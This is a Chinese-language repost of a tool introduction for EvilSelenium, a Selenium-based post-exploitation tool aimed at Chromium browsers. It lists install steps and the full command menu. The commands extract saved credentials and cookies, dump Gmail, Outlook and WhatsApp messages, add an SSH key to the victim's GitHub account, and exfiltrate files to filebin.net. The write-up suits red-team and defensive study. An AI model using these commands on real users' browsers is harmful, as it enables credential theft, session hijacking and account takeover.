EvilSelenium:一款功能强大的Chromium浏览器渗透测试工具

2022-06-08 13:43:46 浏览数 (2)

关于EvilSelenium

EvilSelenium是一款基于Selenium的渗透测试工具,该工具基于武器化的Selenium实现其功能,可以帮助广大研究人员针对基于Chromium的浏览器进行安全分析和渗透测试。

功能介绍

1、通过autofill获取存储的凭证信息; 2、获取Cookie数据; 3、获取网站屏幕截图; 4、导出Gmail/O365电子邮件数据; 5、导出Whats*App消息; 6、下载&提取文件信息; 7、向GitHub添加SSH密钥;

或者,广大研究人员也可以根据自己的需求扩展工具功能,比如说从用户的GDrive/OneDrive下载文件等等。

注意事项

1、该工具在运行的时候,将会判断当前设备是否存在正在运行的浏览器进程,以便获取包含了密码和活动会话的用户浏览器数据; 2、Selenium模块不是非常稳定,而且随着网站的变化,某些模块的运行可能会偶尔中断。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript复制
git clone https://github.com/mrd0x/EvilSelenium.git

工具安装

我们可以使用“/install”命令来下载Chrome Driver和Selenium WebDriver,这两个组件是EvilSelenium运行所必需的。EvilSelenium支持Chrome v100-90。

此方法已在Windows 10,Chrome v97 & v90上进行过测试:

代码语言:javascript复制
EvilSelenium.exe /install

工具帮助信息

代码语言:javascript复制
EvilSelenium.exe /?



/help - Show this help menu.



SETUP:

/install - Install chromedriver & Selenium webdriver. Run this once.



GLOBAL: (accepted with every command)

/browserdir [appdata_local_routing] - Use custom browser, Input should be the routing inside %appdatalocal% dir (e.g. "MicrosoftEdge")



RECON:

/enumsavedsites [out_path] - Check which websites have passwords saved via screenshot(s).

/screenshot [website] [out_path] - Screenshot a given webpage.



CREDENTIALS:

/autorun - Extract saved credentials from common websites.

/dynamicid [login_page] [username_id] [password_id] - Extract saved credentials from a website, providing the username field ID & password field ID.

/dynamicname [login_page] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value & password name value.

/dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value, password name value and their positions.



COOKIES:

/cookies [website] - Grabs cookies for a given website.



MODULES:

/download [file_url] [seconds] - Downloads a file and specify time to wait for download to finish. File extensions should not be executable.

/exfil [local_file] [seconds] - Uploads a file on filebin.net and outputs the download link.

/gmail [out_path] [num_of_emails] - Fetches emails from mail.google.com if user is authenticated. Max 50 emails.

/outlook [out_path] [num_of_emails] - Fetches emails from Outlook if user is authenticated.

/o365 [out_path] [num_of_emails] - Fetches emails from O365 Outlook if user is authenticated.

/github [key] - Add your SSH key to Github if user is authenticated.

/whats*app [out_path] - Fetches Whats*app messages if user is authenticated (BETA).

工具配置&使用

全局配置

默认配置下,EvilSelenium将会尝试使用Google Chrome的用户数据文件夹来获取数据,其他基于Chromium的浏览器也同样支持该功能。

如果想要使用不同的基于Chrome的浏览器,则需要向“%localappdata%”目录中添加下列内容(一些常见浏览器):

代码语言:javascript复制
# Brave

/browserdir BraveSoftwareBrave-Browser
代码语言:javascript复制
# Microsoft Edge

/browserdir MicrosoftEdge
代码语言:javascript复制
# Vivaldi

/browserdir Vivaldi

网络侦查模块

代码语言:javascript复制
/enumsavedsites - 获取“chrome://settings/passwords”的屏幕截图。

/screenshot - 获取任意网站的屏幕截图。

凭证模块

代码语言:javascript复制
/autorun - 针对常用网站的预构建模版。

/dynamicid - 提供包含了用户名输入字段ID和密码字段ID的登录URL。

/dynamicname - 如果字段不包含ID,则提供字段的name值。

/dynamicname2 - 提供字段的name值以及索引位置。

Cookie模块

代码语言:javascript复制
/cookies - 从指定网站导出Cookie数据。

杂项模块

下面给出的是该工具支持的一些额外模块:

代码语言:javascript复制
/download - 下载文件&指定等待下载的时间。

/exfil - 向filebin.net上传一个文件&指定上传完成的等待时间。上传完成后,写入文件下载链接。

/gmail - 用户认证后,从mail.google.com获取电子邮件,电子邮件最大数量为50

/outlook - 用户认证后,从Outlook获取电子邮件。

/o365 - 用户认证后,从O365 Outlook获取电子邮件。

/github - 用户认证后,向GitHub添加SSH密钥。

/whats*app - 用户认证后,获取Whats*App消息。

工具使用演示

项目地址

https://github.com/mrd0x/EvilSelenium

参考资料

https://www.selenium.dev/

https://en.wiki*pedia.org/wiki/Chromium_(web_browser)

0 人点赞